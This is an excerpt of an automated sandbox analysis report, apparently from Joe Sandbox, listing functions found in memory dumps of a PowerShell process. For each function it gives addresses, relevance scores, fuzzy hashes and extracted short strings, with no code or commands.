
Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ec6e65fd1c43a1b6541eda25d8d9cc8b2e50e805c55560209b0959c3d4e745a
Instruction ID: 3c22677d898de81d30a8667c4948c9a2d5e5c59a7bb7183f99e130a1c1d95b89
Opcode Fuzzy Hash: 4ec6e65fd1c43a1b6541eda25d8d9cc8b2e50e805c55560209b0959c3d4e745a
Instruction Fuzzy Hash: 2F41A930A042108FDB15DB75C958ABDBBF6FF89310F144469E406EB7A0DB35AC81CB50

Function 0788BD58 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ff6deb3b438a780a68e32ce12b653f3cec703355e47064aa7e409edca64e74
Instruction ID: 50a4fb2d72f6e94d605a2af41ecbce2c43f3bbd75325c224fcc85cdead538a83
Opcode Fuzzy Hash: 22ff6deb3b438a780a68e32ce12b653f3cec703355e47064aa7e409edca64e74
Instruction Fuzzy Hash: 8F4129F1A15202AFCFA0AF288541B7A7FE2AFE5754F148066D904DB292D735D841CBA1

Function 049E9473 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d99c3e62dc16bfdbcb5d36c9fb23bb4abf434303ac6ed60ccb20c00faf065b4
Instruction ID: 4a8770f9ed1550dea652791d211479c836cf589e3abf78f804cec5a9aad15847
Opcode Fuzzy Hash: 0d99c3e62dc16bfdbcb5d36c9fb23bb4abf434303ac6ed60ccb20c00faf065b4
Instruction Fuzzy Hash: A0414A70A002199FDB15DFA9C884AADBBB6FF85304F14853AD406AB7A4DB75AC85CF40

Function 049EAAF9 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16923e7391eea8a9a1e22ed40cc87f34a179e6ef73d0925da5c94ae7cfb839e7
Instruction ID: e141308856f6e4382310062eff535ce740a1d71d7c3cf14d43da49eca5fb8c58
Opcode Fuzzy Hash: 16923e7391eea8a9a1e22ed40cc87f34a179e6ef73d0925da5c94ae7cfb839e7
Instruction Fuzzy Hash: E851F834A00209AFDB05DFA9D584AADFBB6FF88314F24C559E804AB365C775EC86CB50

Function 049E2C59 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71eb0f2e60b4edd403aa08ec697b78df8645fec8929eb0d41eb92fe521355fe7
Instruction ID: 6b350754592c17e33ab1ed46f0fe4015383d090606b165bb56c745ee25dac4a0
Opcode Fuzzy Hash: 71eb0f2e60b4edd403aa08ec697b78df8645fec8929eb0d41eb92fe521355fe7
Instruction Fuzzy Hash: FD4107B4A006059FCB0ACF59C5949BAFBB5FF48310B1585A9D545AB3A4C731FC91CBA0

Function 0788992E Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd6890fc35dba357e92a48da46dcb61d13665aa67e7332be4ebb1a109f14d16b
Instruction ID: 613a0af512c5c75d4873b89dc9fae3cbe99d74e1fc96cbf183d519226b3626bd
Opcode Fuzzy Hash: cd6890fc35dba357e92a48da46dcb61d13665aa67e7332be4ebb1a109f14d16b
Instruction Fuzzy Hash: ED31B570B41214ABD704A768C951B7F7AA7DFC5344F10C828E9016F395CF7AAC018BE6

Function 049EF8E0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80d2e5316347987b6884628633555240d4580db6eef757d4b4ded101b3de36e1
Instruction ID: 0077df0b651a5106d02e3dee02b5fda0b4ad98a196e784d628f9fac65a6a77ad
Opcode Fuzzy Hash: 80d2e5316347987b6884628633555240d4580db6eef757d4b4ded101b3de36e1
Instruction Fuzzy Hash: EF31B030A00205AFCB05DF6DD8808AAFBF5FF88310B2489AAD898E7715C730EC41CB91

Function 07880A78 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e69ee01942db76c57dacf800afb5f159ee88667be733f31be27f6896df57f3a
Instruction ID: 6a7102a178489ba316caecc90c924ae6424437641a0aaf318097a8c29d69ea90
Opcode Fuzzy Hash: 7e69ee01942db76c57dacf800afb5f159ee88667be733f31be27f6896df57f3a
Instruction Fuzzy Hash: 64214CB5300316ABDB646DBE885073BB6D9ABD5719F20883AA545CF391CE75C844C371

Function 049E316A Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1962b30c9c55e2c24f73ddff3aa5833038022246bea0f55617fe87dca0242bc4
Instruction ID: c28d711be8ed6fb0ec72d96bcbd600f38e9ead6daf1db51389e8a44e941147f6
Opcode Fuzzy Hash: 1962b30c9c55e2c24f73ddff3aa5833038022246bea0f55617fe87dca0242bc4
Instruction Fuzzy Hash: 50317271E092959FCB02DF6CD8509AABFB0AF4A310F0541A6D844DB363D235EC05CBA2

Function 07880A5C Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e60d1c2b9250985943201d77a8f808bac11e6e5b84e21c919fd47f14c286954
Instruction ID: 50a3641fd8d77e84af5ca97149d00338daed767ff7d87c2c9bd9cc31e4beb02c
Opcode Fuzzy Hash: 1e60d1c2b9250985943201d77a8f808bac11e6e5b84e21c919fd47f14c286954
Instruction Fuzzy Hash: 9821E1B1304356BBDB641E7B88507767BD59FA2714F248422E844CF2D2C939CD48C371

Function 049E3995 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f959bc2d3a352049e6d7367fd6b364d2279d0699e5b01dbe7ef1a0e641ab4e0
Instruction ID: 838b6b629bc67bf0355378c854fdf3e866720f7b8bf8f5771680a709280056cf
Opcode Fuzzy Hash: 6f959bc2d3a352049e6d7367fd6b364d2279d0699e5b01dbe7ef1a0e641ab4e0
Instruction Fuzzy Hash: AC315C74A04255DFCB05CF9DC9909AAFBB1FF49310B1585AAD848EB762C735EC41CBA0

Function 049EF8D1 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aacb6a7fb6467b09a07364441f0a9582c7f22ae1f1f18cb49eabb2853850209
Instruction ID: 73c54557575e7d2a9349f24e023185c2102042afe1b282c9d59d966e3e926b02
Opcode Fuzzy Hash: 3aacb6a7fb6467b09a07364441f0a9582c7f22ae1f1f18cb49eabb2853850209
Instruction Fuzzy Hash: A3212974A0010AAFCB14DF9DC58096AFBF5FF88314B2589A9D988A7655C731EC51CB90

Function 0788084C Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaea96e89d749ede48e83fc3fb7f6c6ba1a71743fb55ba2075d494d546c291cb
Instruction ID: 3639734e54435728fd05ccbfa24ca0713f6459eaffcc8dfc3e2e9edd7308ad7f
Opcode Fuzzy Hash: aaea96e89d749ede48e83fc3fb7f6c6ba1a71743fb55ba2075d494d546c291cb
Instruction Fuzzy Hash: 9601F7722093859FC7526A699C105657F74CFD3211B0D80E7D884CB2A3C639CC8DC7B1

Function 07880868 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bda266b818f6db18d626e50b8a8c25459e9608cb711994930113e07272f7eda
Instruction ID: a7c4502bb5f97a970b35783dd21e6634879a3b351dfd327969b3c4af4a15f0ba
Opcode Fuzzy Hash: 0bda266b818f6db18d626e50b8a8c25459e9608cb711994930113e07272f7eda
Instruction Fuzzy Hash: 6D01F77A30021ADBD7A479AAD80067AB7D9DFE1326F14C43AD945CB650DA32C889C7E0

Function 049EEC0B Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75c36254fb1d98c2eecd17d7d741308dbd8b7a4d9887a36cd984ac45df4f4ba3
Instruction ID: 9f253d0209397705e6f34a1fc726ba432f3066f096d363a7fc23ac3e35d955f1
Opcode Fuzzy Hash: 75c36254fb1d98c2eecd17d7d741308dbd8b7a4d9887a36cd984ac45df4f4ba3
Instruction Fuzzy Hash: BF11B330D00259DBEF26DA97D5987FCB775AB4931FF141439C001B6190EB7468CACB1A

Function 049EAC04 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 397337e407de14d4b1d804d63edf1e62f69f0a948b7b6f811b7d5569dd82874d
Instruction ID: 798ae5b408696ec275e16bdf0984408513ac6afff5ff4546063365de8110f5c8
Opcode Fuzzy Hash: 397337e407de14d4b1d804d63edf1e62f69f0a948b7b6f811b7d5569dd82874d
Instruction Fuzzy Hash: 7D11D734A04209EFDB05CBA8D484A9DFBB6BF88304F24C555E405AB365C775E986CB50

Function 048ED01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337129457.00000000048ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 048ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_48ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9790ab90e06f0cd0bac5222debaf5b201994dc021e107ee023b39ab50a28058f
Instruction ID: 2c4f9277248feff4baaf065125d7cac8a1cf10e40a19761dc73cce3845cbb1d4
Opcode Fuzzy Hash: 9790ab90e06f0cd0bac5222debaf5b201994dc021e107ee023b39ab50a28058f
Instruction Fuzzy Hash: FA01F7311043459EE720AE1BD984B77BFDCEF47324F1CCA29ED588A246C279A849C6B1

Function 048ED006 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337129457.00000000048ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 048ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_48ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aac05738079c70c36c5aabf5f35db2aec834481dddf5b367eb3f9ea97fc6779
Instruction ID: 7575aa0502f363b1178a829f12646472a393bef06d0b01e6011e29e77538d54b
Opcode Fuzzy Hash: 0aac05738079c70c36c5aabf5f35db2aec834481dddf5b367eb3f9ea97fc6779
Instruction Fuzzy Hash: 6401406200E3C09ED7128B259894A62BFB4EF57224F1DC5DBD9888F1A7C2695848C772

Function 049EABBF Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41cc19736eedf2e5755613d61198dd42efa03bd076fdabb610970b402a5f2a4f
Instruction ID: e9562960cae9c139541ee892514cd454a01dc3066df30547f996cbf5ba5603f7
Opcode Fuzzy Hash: 41cc19736eedf2e5755613d61198dd42efa03bd076fdabb610970b402a5f2a4f
Instruction Fuzzy Hash: C8011230904109DFDB46CB69D484AADFBB6BF88314F24C559E405AB265C775A986CB40

Function 049EFEB7 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3337574263.00000000049E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_49e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1202f84b35686459efefc93a370b5bdba260aa70334e57088aeaf41ecafa720c
Instruction ID: d4fd075b31feff07141238443b3dfacd4f0cd64efc5d2fab423881b0fbc9a6db
Opcode Fuzzy Hash: 1202f84b35686459efefc93a370b5bdba260aa70334e57088aeaf41ecafa720c
Instruction Fuzzy Hash: 9F014F71A00109EFCB15CF9DD9809ADF7B2FF88324B248669D459A7655C732FC51CB90

Non-executed Functions

Function 0788E9BF Relevance: 23.0, Strings: 18, Instructions: 466COMMON

Download Yara Rule

Strings

4']q, xrefs: 0788F05C
(cq, xrefs: 0788EFB8
$]q, xrefs: 0788EC14
$]q, xrefs: 0788EA84
$]q, xrefs: 0788EA63
(cq, xrefs: 0788EFAE
4']q, xrefs: 0788EC52
$]q, xrefs: 0788EDB5
TQbq, xrefs: 0788EBEA
(cq, xrefs: 0788EF4A
tP]q, xrefs: 0788EB62
4']q, xrefs: 0788EC46
tP]q, xrefs: 0788EF84
TQbq, xrefs: 0788EA42
tP]q, xrefs: 0788EE89
tP]q, xrefs: 0788EB56
TQbq, xrefs: 0788EBFA
$]q, xrefs: 0788EC24

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$TQbq$TQbq$TQbq$tP]q$tP]q$tP]q$tP]q$$]q$$]q$$]q$$]q$$]q$(cq$(cq$(cq
API String ID: 0-332442264
Opcode ID: 963bdd46ac90c31941200d1e2d003fda320f1dac46b95dbc5fdf2d210f38a356
Instruction ID: 4813bf153a2d182a5f2391cfba73dd318f4c9b3ca5223a6b8020c0088664662a
Opcode Fuzzy Hash: 963bdd46ac90c31941200d1e2d003fda320f1dac46b95dbc5fdf2d210f38a356
Instruction Fuzzy Hash: D5F108B0B1020ADFDB64EF59C544B6ABBF2BFA5710F1884A6E815DB291C731DC44CBA1

Function 0788E4C0 Relevance: 17.9, Strings: 14, Instructions: 363COMMON

Download Yara Rule

Strings

$]q, xrefs: 0788E8D9
4']q, xrefs: 0788E8F9
$]q, xrefs: 0788E893
d%cq, xrefs: 0788E6C3
d%cq, xrefs: 0788E6CD
$]q, xrefs: 0788E8CD
d%cq, xrefs: 0788E65F
tP]q, xrefs: 0788E6A5
4']q, xrefs: 0788E743
$]q, xrefs: 0788E580
4']q, xrefs: 0788E737
4']q, xrefs: 0788E905
tP]q, xrefs: 0788E699
d%cq, xrefs: 0788E702

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$d%cq$d%cq$d%cq$d%cq$tP]q$tP]q$$]q$$]q$$]q$$]q
API String ID: 0-720800717
Opcode ID: 493444a34679a8ee7e6d594a3f34d34a67b7d49a5221f467b2acee2a28ba0cc0
Instruction ID: 4dc820dc734e38c07dc590d41b7569ef68c40e387c0f73c66e959f8f06b59460
Opcode Fuzzy Hash: 493444a34679a8ee7e6d594a3f34d34a67b7d49a5221f467b2acee2a28ba0cc0
Instruction Fuzzy Hash: 5DC137F1B0421ADFCBA4AF69C850B7ABBE6EF95710F14846AD845CB291DB31DC01C7A1

Function 0788F3D4 Relevance: 15.4, Strings: 12, Instructions: 417COMMON

Download Yara Rule

Strings

tP]q, xrefs: 0788F8BC
XRbq, xrefs: 0788F94D
XRbq, xrefs: 0788F819
tP]q, xrefs: 0788F596
4']q, xrefs: 0788F6C2
$]q, xrefs: 0788F65A
$]q, xrefs: 0788F46B
$]q, xrefs: 0788F64A
tP]q, xrefs: 0788F58A
$]q, xrefs: 0788F48C
4']q, xrefs: 0788F6CE
$]q, xrefs: 0788F835

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$XRbq$XRbq$tP]q$tP]q$tP]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1777803404
Opcode ID: 89ef28e487ca14989faf36f4c953247dee2b12cf37f29ff8e17b6cac5c2432c9
Instruction ID: 6b0ac05f64e5a36b0408430058b19f13667484a2287b7f63e772b61037bfce64
Opcode Fuzzy Hash: 89ef28e487ca14989faf36f4c953247dee2b12cf37f29ff8e17b6cac5c2432c9
Instruction Fuzzy Hash: 9AE119B070020ADFDB64EF29C540BAAB7F2EF95314F588466EA05DB291CB35DD41CBA1

Function 07882AF8 Relevance: 14.2, Strings: 11, Instructions: 471COMMON

Download Yara Rule

Strings

4']q, xrefs: 07882BEA
$]q, xrefs: 07882B4F
tP]q, xrefs: 07882E02
4']q, xrefs: 07882F8C
4']q, xrefs: 07882BF6
tP]q, xrefs: 07882DF6
t~pq, xrefs: 07882C15
$]q, xrefs: 07882B93
$]q, xrefs: 07882B87
4']q, xrefs: 07882F96
$]q, xrefs: 07882D73

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$tP]q$tP]q$t~pq$$]q$$]q$$]q$$]q
API String ID: 0-107699449
Opcode ID: 8fd1920961655e4b7d7eb6a4d79e0e63e22e1d3322c0e4ee108774b8552d6d11
Instruction ID: 19d79bdbbd4281a916fe814fb56d68d6583591db34921f6c18002982e254f9a4
Opcode Fuzzy Hash: 8fd1920961655e4b7d7eb6a4d79e0e63e22e1d3322c0e4ee108774b8552d6d11
Instruction Fuzzy Hash: F4F137B1B0020A9FCB64AF69854077ABBE6BFE9720F14857AD445CB251DF31DC41C7A2

Function 0788ED38 Relevance: 14.0, Strings: 11, Instructions: 295COMMON

Download Yara Rule

Strings

tP]q, xrefs: 0788EE95
4']q, xrefs: 0788F068
4']q, xrefs: 0788F05C
(cq, xrefs: 0788EFB8
(cq, xrefs: 0788EF4A
tP]q, xrefs: 0788EF90
tP]q, xrefs: 0788EF84
tP]q, xrefs: 0788EE89
(cq, xrefs: 0788EFAE
(cq, xrefs: 0788EFED
$]q, xrefs: 0788EDB5

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$tP]q$tP]q$$]q$(cq$(cq$(cq$(cq
API String ID: 0-3029092631
Opcode ID: cc50692335fbefe8501c038ad3ef84d6ab452a032b70859f4c9fd0a90542df44
Instruction ID: 870e539ec0c55c58aa853089ca4e5808c3f677ac303daab574d000502ef24517
Opcode Fuzzy Hash: cc50692335fbefe8501c038ad3ef84d6ab452a032b70859f4c9fd0a90542df44
Instruction Fuzzy Hash: E9A1FBB071011A9FDB64AF69C944B6ABBE6EF98310F14846AED05DB390CB71DC41C7A1

Function 07883308 Relevance: 12.8, Strings: 10, Instructions: 312COMMON

Download Yara Rule

Strings

$]q, xrefs: 078834FE
4']q, xrefs: 078835DE
$]q, xrefs: 078835B5
4']q, xrefs: 0788340C
4']q, xrefs: 07883400
$]q, xrefs: 07883584
$]q, xrefs: 07883574
$]q, xrefs: 078835C1
$]q, xrefs: 0788351F
4']q, xrefs: 078835EA

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-267665775
Opcode ID: 3432efdea8354f05aed48611cd1c1452175c92d021cf91b26a6b6d45265d2315
Instruction ID: 9998ec7c3f041f324ffcf78765859957888f3c303826182f071e18f535d40bf5
Opcode Fuzzy Hash: 3432efdea8354f05aed48611cd1c1452175c92d021cf91b26a6b6d45265d2315
Instruction Fuzzy Hash: D3A17AB17053169FCBA5AE2CD81063E7FE5AFA2E10F188577D841CBA51DB35C845C3A2

Function 0788B3F0 Relevance: 9.2, Strings: 7, Instructions: 495COMMON

Download Yara Rule

Strings

$]q, xrefs: 0788B402
4']q, xrefs: 0788B661
tP]q, xrefs: 0788B46D
tP]q, xrefs: 0788B479
$]q, xrefs: 0788B434
4']q, xrefs: 0788B657
$]q, xrefs: 0788B428

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q
API String ID: 0-108373575
Opcode ID: e935ef0779d60908293a3cfc1912e51f7a8c60078fd32a451807c156ac0d9f34
Instruction ID: 5ee60551ab0604f1a3eca2ce4c953b27fb55c4cecd18a1ea4f99165ebe493901
Opcode Fuzzy Hash: e935ef0779d60908293a3cfc1912e51f7a8c60078fd32a451807c156ac0d9f34
Instruction Fuzzy Hash: 7AF126F2B042069FCBA0AE68981166BBFE5EFE6310F18847ED545CB251DB32DC41C7A1

Function 0788ED1C Relevance: 9.0, Strings: 7, Instructions: 208COMMON

Download Yara Rule

Strings

4']q, xrefs: 0788F05C
(cq, xrefs: 0788EFB8
(cq, xrefs: 0788EF4A
tP]q, xrefs: 0788EF84
tP]q, xrefs: 0788EE89
(cq, xrefs: 0788EFAE
$]q, xrefs: 0788EDB5

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$tP]q$tP]q$$]q$(cq$(cq$(cq
API String ID: 0-537408273
Opcode ID: aea4eff458a4e0f458b9091f5e891bf901164c6586760c5baa0cb949eca25196
Instruction ID: 4d9aeae94aa90467455692e1456356ea9431e008921cba2d47d135adbcfe087d
Opcode Fuzzy Hash: aea4eff458a4e0f458b9091f5e891bf901164c6586760c5baa0cb949eca25196
Instruction Fuzzy Hash: 2C7119B0600206DFDB64EF59C544B6ABBF2AFA9314F19849AE914DB391C731DC44CBA1

Function 073C0086 Relevance: 7.8, Strings: 6, Instructions: 332COMMON

Download Yara Rule

Strings

4']q, xrefs: 073C02BC
4']q, xrefs: 073C04FA
4']q, xrefs: 073C0440
4']q, xrefs: 073C0456
4']q, xrefs: 073C02A6
4']q, xrefs: 073C04E4

Memory Dump Source

Source File: 00000007.00000002.3354485969.00000000073C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73c0000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$4']q$4']q
API String ID: 0-471056614
Opcode ID: c4d19d1993ea5393c768844c0176cc671846861e51ceac191a5741e0b5a0f862
Instruction ID: 4f48dbdc11f53123745b137ef3871697225061b5307fd8a53999652e18c3af23
Opcode Fuzzy Hash: c4d19d1993ea5393c768844c0176cc671846861e51ceac191a5741e0b5a0f862
Instruction Fuzzy Hash: 60F15EB4A41218DFEB24DB24C994B9ABBB2FF85304F1085E8D50D5B345CB75AE81CF91

Function 0788F7B8 Relevance: 7.7, Strings: 6, Instructions: 205COMMON

Download Yara Rule

Strings

tP]q, xrefs: 0788F8BC
XRbq, xrefs: 0788F94D
XRbq, xrefs: 0788F819
tP]q, xrefs: 0788F8C8
XRbq, xrefs: 0788F95D
$]q, xrefs: 0788F835

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: XRbq$XRbq$XRbq$tP]q$tP]q$$]q
API String ID: 0-1061996819
Opcode ID: 01fcc88e20cf547ae5fa13a2a52fdde2a2c332a8fa6e156ec9a2ea8b0bb8f2e2
Instruction ID: 60443293ed5772f51718487f9092ce1507d1eacb371b05666ae7a9895bd90269
Opcode Fuzzy Hash: 01fcc88e20cf547ae5fa13a2a52fdde2a2c332a8fa6e156ec9a2ea8b0bb8f2e2
Instruction Fuzzy Hash: F9612570B001099FCB54AF69C440B6ABBE6EF99710F24C069EA05EF395CB71DC40CBA1

Function 0788E4A0 Relevance: 7.7, Strings: 6, Instructions: 163COMMON

Download Yara Rule

Strings

d%cq, xrefs: 0788E65F
$]q, xrefs: 0788E580
d%cq, xrefs: 0788E6C3
4']q, xrefs: 0788E737
tP]q, xrefs: 0788E699
d%cq, xrefs: 0788E6CD

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$d%cq$d%cq$d%cq$tP]q$$]q
API String ID: 0-3562389410
Opcode ID: 7edc35153fe24cbb03c1d80480f9a7b3985034c0bf1c3d8a252a128cca21d853
Instruction ID: 9f23f0fc92f62c7e88fb32c917efa4b30e11c25d51bf2fba72829ddcfcfcedb6
Opcode Fuzzy Hash: 7edc35153fe24cbb03c1d80480f9a7b3985034c0bf1c3d8a252a128cca21d853
Instruction Fuzzy Hash: E15138F0A1420ADFCB64EF18C540B79BBF2AF95314F1881A6E805DB691D731DD40CB61

Function 0788E4A4 Relevance: 7.7, Strings: 6, Instructions: 158COMMON

Download Yara Rule

Strings

d%cq, xrefs: 0788E65F
$]q, xrefs: 0788E580
d%cq, xrefs: 0788E6C3
4']q, xrefs: 0788E737
tP]q, xrefs: 0788E699
d%cq, xrefs: 0788E6CD

Memory Dump Source

Source File: 00000007.00000002.3356649437.0000000007880000.00000040.00000800.00020000.00000000.sdmp, Offset: 07880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7880000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$d%cq$d%cq$d%cq$tP]q$$]q
API String ID: 0-3562389410
